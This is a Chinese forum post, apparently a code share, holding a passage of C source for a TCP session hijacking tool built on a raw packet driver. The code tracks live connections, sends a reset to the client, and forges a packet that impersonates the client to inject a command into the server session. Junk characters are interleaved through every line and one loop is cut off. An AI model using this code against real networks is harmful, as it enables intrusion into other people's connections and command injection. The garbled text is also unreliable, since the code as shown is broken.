- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); % [" y3 X" m6 G& S
//reset action flag
8 B0 f5 l! j2 Q3 J! y' i8 b) n ResetActionAllFlag();
& U6 O! u- W' l1 P4 M3 Z m. ? } 6 b+ R) a9 T) p' N4 m/ e$ ?; S
//start hijack
* Y) _7 k* f* k, b$ G' G4 t# N+ t3 @ else if(g_dwAction == ACTION_HIJACK)
/ v* j5 M8 I# ]3 h { ' S5 d) ]) J, e$ y# ]) m% \& ?
//send rst packet to client
# k" n. Q+ y9 W, E/ Z SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ) a; C. }% \+ `1 P! Y; o
//send hijack packet to client # ?6 W9 a) F5 U! U) |& S1 F
SendHiJackPacket(pTCPPacket);
/ {; u* ~, H# z$ ? //reset action flag W# H; N; O0 |' q+ g& l
ResetActionAllFlag();
. h0 V7 H/ G. X, C5 p4 K P }
# W1 F4 [/ v: p5 F5 X, K }
* t+ l8 _2 E) x- ?# ~+ R //show the tcp data
* O+ ~. G% Q* ~- | if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
/ o. W. S/ M. w6 {+ | {
1 m9 D; j; H+ c" Z5 A! N ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
( E3 b4 I" y% r* F9 V //暂不考虑IP、TCP头不是20字节的情况
( @2 E- P' I9 [ //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; & ? [. E7 H4 u# ~# \
pStr = (char *)pTCPPacket + 54;
4 y- }1 ?( Y1 d+ D* t' J8 I for(i=0; i }
8 `) u2 s1 n8 [9 @5 y( e) d! w# z }
8 X3 U( t( g9 Y+ Z% z- m //debug output
4 D! ^' m; |# c3 }1 X2 Q //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 C; c" D0 a3 ?# ?+ W2 o
}//end of analyse packets while
, Z$ d" x3 Y3 k. ]; g7 o }//end of recv packets while ! m) ^3 F1 [9 n5 o! w0 K; \
PacketFreePacket(lpRecvPacket);
4 l8 v8 t) K" B% v) r0 G' Z return 0; - j& w2 g- G0 x2 g) f
} 4 }; z+ o7 w9 F
5 t5 ^% v, E) T$ q
9 `9 m* p* @2 H- J
//
/ R" ^. u3 _6 _/ f) `//功能:操作记录所有连接信息的单向链表
4 b! ^0 N$ ]; F5 B//
1 k. j. ?/ R/ q Z) a) ]. u! q# p: PDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, / ~8 A5 f+ I5 Y5 u+ l. _/ W0 M7 E2 X
USHORT uClientPort, BOOL bDelete, BOOL bAddNew) # C8 r7 e+ X3 n, W
{ 5 v* Q7 l! }, `( }3 q
PCONNINFO pNew, pTmp; ; {6 r! J( ~& B* G0 n
" e" a% l, Y" A6 U
pTmp = g_pConnHead; $ g% S$ p% x6 k9 }
while(pTmp) + c, m0 @* {7 K+ i1 B3 s4 a
{
- s$ L; b% i, t4 V5 u if(pTmp->bActive)
& Q3 j! H- F! B! q3 L { # q$ F* g* W8 Y+ t% n/ s/ z7 ^8 C
//found it # w5 L8 A$ w' ?" M
if( (pTmp->dwServerIP == dwServerIP) &&
0 F) b) P* l" V! ` (pTmp->uServerPort == uServerPort) &&
$ T" N% [1 ]" u (pTmp->dwClientIP == dwClientIP) && 7 ]( L0 \! i$ S+ L* \9 i1 N! R
(pTmp->uClientPort == uClientPort) )
4 K$ B0 K. a& T$ u; k0 Z' @ {
- b! M9 m e& W. I$ B. z4 y3 h if(bDelete) 0 |( P; u7 W" J {4 B" d, Y
{
7 O8 O( I- H t" }! H pTmp->bActive = FALSE; / p! b5 R" I0 T U+ F1 D }
return 0;
3 W# E0 U6 {* ~$ |( {2 s) v, J }
+ e" U$ `9 T' M: b. I R else return pTmp->ident;
9 `- Y9 J$ D, w- }( [" L) v }
F z+ e: {9 z9 ~3 L* H/ W }
* p. O' T; z% _8 z pTmp = pTmp->Next; / N8 m* R% a) L- M
}
. K, D p6 W. q/ L' m8 j3 m //not found, create new node ( @: Y5 X+ r$ H4 l
if( (!pTmp) && (!bDelete) && (bAddNew) )
7 W0 t0 `9 Q: \/ I/ Y' [8 ~ E { - E) p' m, R& E' Z' k
//search unactive note
( H- x9 X: V! a6 d: `+ r pTmp = g_pConnHead; 7 |' |, }+ `! ~, }8 `' z1 x% V- v) i
while(pTmp)
9 B, j8 q: q: G8 C2 g" I* J {
; k. o" b' D. S: M$ I% [ if(!pTmp->bActive) break;
% O1 Q7 N3 b2 c- R6 M" b, i9 e, G" B# y pTmp = pTmp->Next; & C1 @" f6 M0 {! y5 c% f% \% e
}
, I( V" z5 ^# @$ }7 Z //found a unactive node & Y9 s$ Q, r# E* ^5 Q/ a$ S
if(pTmp) 9 c. m9 A* u$ h% J0 E3 P
{ 0 ~6 A y. [: X1 |
pTmp->dwServerIP = dwServerIP;
, {! G* \8 e& l5 C/ O! J( M* O1 b pTmp->uServerPort = uServerPort;
# I" o I& ?; ^0 T5 b7 q, I pTmp->dwClientIP = dwClientIP; - _$ s+ T3 }5 Y1 Z/ x
pTmp->uClientPort = uClientPort;
5 ?* X& f9 d4 O$ R pTmp->bActive = TRUE;
8 L6 ?: B' S* ~2 a: x return pTmp->ident; - {; P3 M4 r- b, v9 w
}
' ]1 c7 h& e7 S+ f //not found,create new node ! _: l7 K1 o# N7 x( V7 G2 U) f6 d
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
5 t9 I* d; V" G9 Z) Y! C if(!pNew) + y5 m3 t, D- ]0 V/ _1 I
{ + Y' R5 x! F( Q
printf("malloc for link node error:%d\n", GetLastError());
6 C/ d2 `( U/ b y# u return 0;
/ C7 Y9 g+ B' x* [5 R }
! G! n! Z4 ^1 ?/ |4 N //fill the struct
" J- p8 o4 N& e" Q5 N6 [9 l pNew->bActive = TRUE;
; h% S; \# w+ X, [4 v pNew->dwServerIP = dwServerIP;
( E& J* Q' J- J$ o* M pNew->uServerPort = uServerPort;
6 V+ J# D( c8 k' H8 b9 t' D pNew->dwClientIP = dwClientIP;
: M4 M3 N# m: g. w pNew->uClientPort = uClientPort; : v4 C: s% S" U" `8 N: d
pNew->ident = ++g_ident;
+ W- l& r3 [% J: h0 d( P) z" P pNew->Next = NULL;
* D; t; i0 }7 Y- N& O# [ //add new node to link 2 F7 L" q- e" r3 U
if(!g_pConnHead)
" X) F- W$ j, Q, [. Z g_pConnHead = g_pConnLast = pNew; $ L' T' n# {& K( [" _+ @, s
else - ]$ ?# K/ W6 q( a: A3 I! G
{
: ~% x0 c, H5 x- T+ W g_pConnLast->Next = pNew;
& w y! V4 c& m. O g_pConnLast = pNew;
7 h! F# T1 J( [; B } " c6 I5 x1 ?$ K& a, i
return pNew->ident; ' }: {! c3 Q \9 u
} / O/ _8 J3 G$ u" x2 k3 o2 }: O
return 0; 5 m+ \- V- `* h0 s4 g+ V. E2 i
}
0 K7 O2 C+ d( e6 i8 A7 O+ \- \. a" j7 Q2 A$ q: o! l( Z
//
0 x! d+ Y/ e8 h- @//功能:判断一个数据包是不是只有ACK标志
/ \2 {0 q( H7 H$ d. A' d//
% P3 E7 b: A# R) Z* e1 Y. yBOOL IsACKPacket(unsigned char flag) % ~" H g9 _: Y$ J
{
1 p K) w5 B8 e# p9 x2 O" S5 }, ` int i, j=1;
6 M4 s' R, l' |+ {, a0 \8 S5 o4 I for(i=0 ; i<4; i++) $ v, j7 a/ N" s
{
. C' @- v* N6 Q, ^2 ^' x2 O if(flag & j) return FALSE; G$ s; o. `, f+ S( n0 I: w
j <<= 1;
" n# F4 o/ T; g5 a" } }
; h3 k+ m( F2 {4 m+ X3 h: k if(!(flag & 0x10)) return FALSE;//is ack?
. M3 Y5 f# k6 n5 L# F if(flag & 0x20) return FALSE; " o" G' {' n! i. K k9 Z
return TRUE; ' A7 @ t& J& C" T- S
} ) h& Q. j6 d3 z: L) ^
' K: J0 B- L# Z( R" U6 g. [
// & ~# s8 O$ Y. ^1 O
//功能:伪装成Client给Server发送数据包
' g9 g& O: ~, g. K* l// / ~( {* d! X& W+ ?4 o" q9 T
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
) a, C, H1 P l- J# K{
# o7 y2 a2 j* P2 p# s8 a! d* _' n: P8 a. G2 w9 B
char szBuff[1520];
0 v# d4 F% G: k7 z0 |! x$ x* x PSDHDR psdhdr; 0 X; U, y0 [& F! A. U
PTCPPACKET pHiJackPacket = NULL;
7 t7 l- [3 u. d2 Y6 q BOOL bRet = FALSE; ; c( K! X z6 Z
& _/ c8 c( n! x r+ T. W& w
__try
3 l A1 X+ |7 L" s { ! F5 ~- M5 I& U& ^) N2 j
//
8 o5 p2 o- I! n0 y; u if(!g_pCurrCtrlConn) __leave;
7 }+ P5 `% u( J8 B% }' j //allocate memory for hijack packet 7 N3 j4 l! o9 m/ z
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
, R5 q& p, J; p9 |; k% S% U. ] if(!pHiJackPacket) 9 Z" k9 ?3 h/ z# X2 h1 n, c
{
9 d, C% Q2 F6 r% ^2 f' P printf("malloc error:%d\n", GetLastError());
( G4 \% @5 O X. N __leave;
0 S" p! l8 G; h }
: M" c: D3 b% n+ l6 o( k( e memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); # }3 Q. q2 z3 @+ M, Z2 L- O/ K* ?
//-------------- modify the packet ---------------//
' W. f( g& l4 y6 _; _& ?7 ` //modify ethernet head
) X8 r) Z: Z, d5 b memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
0 b. `- i9 B$ g: b memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
6 E& C6 p, B7 ]/ e4 ?. ? //modify ip head 3 L' P3 e1 k0 D: w! W$ q; R/ W
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
* q7 Q$ N% z$ N2 V pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 2 V+ ], Y) ^+ [( K) P
pHiJackPacket->iphdr.ident += 1;//标识加1 , c2 Q$ Q d: w6 Z
pHiJackPacket->iphdr.checksum = 0;
8 @$ L4 d0 p: M. G$ J$ a+ P9 U- S3 C pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client * B+ b e$ V, b. e6 A+ R3 Z
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
/ f: n: k2 R0 h1 o! C) G //modify tcp head
3 l" |* m/ \3 ]5 p pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port 7 _: X, S8 A) R M. j( d, C
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port 0 a) F6 E, }, d! `; W. [# i
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); % J. K p3 g: R3 I9 T
pHiJackPacket->tcphdr.th_flag = 0x18;// PA 1 }/ F6 S7 n/ R6 U% V0 V# S1 k; J
pHiJackPacket->tcphdr.th_sum = 0;
1 z( _# E# \! K4 A+ o6 P% Q/ V: V pHiJackPacket->tcphdr.th_win = 0x3F44;
$ I+ U* `( m2 ?8 }' } //fill tcp psd head
8 t& _+ u3 y8 k+ r psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
3 p( s/ u2 A b. V: L psdhdr.daddr = pHiJackPacket->iphdr.destIP; + i& h+ ]1 O2 G9 H
psdhdr.mbz = 0; : _: E6 o) u9 |6 V* H
psdhdr.ptcl = IPPROTO_TCP; ) G7 i0 R( l3 e# N6 m+ A
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len ) y/ Y4 J/ k! }( O
//calculate tcp checksum , q: M8 P+ p# d
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
6 v4 e& @, S: J4 d3 ] memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); 8 ?! X% b' b! x' U- x/ T3 m' f
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); ) I# m; P# U; [0 l d; o
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
9 M+ t \9 t, F/ L; ]4 k //calculate IP checksum
4 r: g D) Z* v' P' S% b3 Z pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 5 j" | V* ^" d X
//fill send buffer ' ^: M, b/ {6 {2 N
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); ( \! B) U, q7 G8 F0 ~4 ?4 h
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
+ |% |( @/ _+ b7 k; ^$ o memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
, R& B3 @" k/ |* M3 b) @0 g memset(g_lpSendPacket->Buffer, 0, 1514); ' I/ w1 G( v" O8 v
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
, j8 W1 }5 B7 q5 w if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) / b4 [6 g$ Y, H' B# l
{ : `' N: {$ q( Q
printf("Error sending the hijack packets!\n"); , j9 U' n- M5 D& |) m
__leave;
! h& L; q( f3 g8 B8 f }
. W0 f% T1 O, k/ X/ @7 R else printf("Send hijack packet ok!\n"); ! `+ x0 R, @* o1 m& p4 j, V
bRet = TRUE; ( V5 j# L }% ^. H& ]* q
} |
|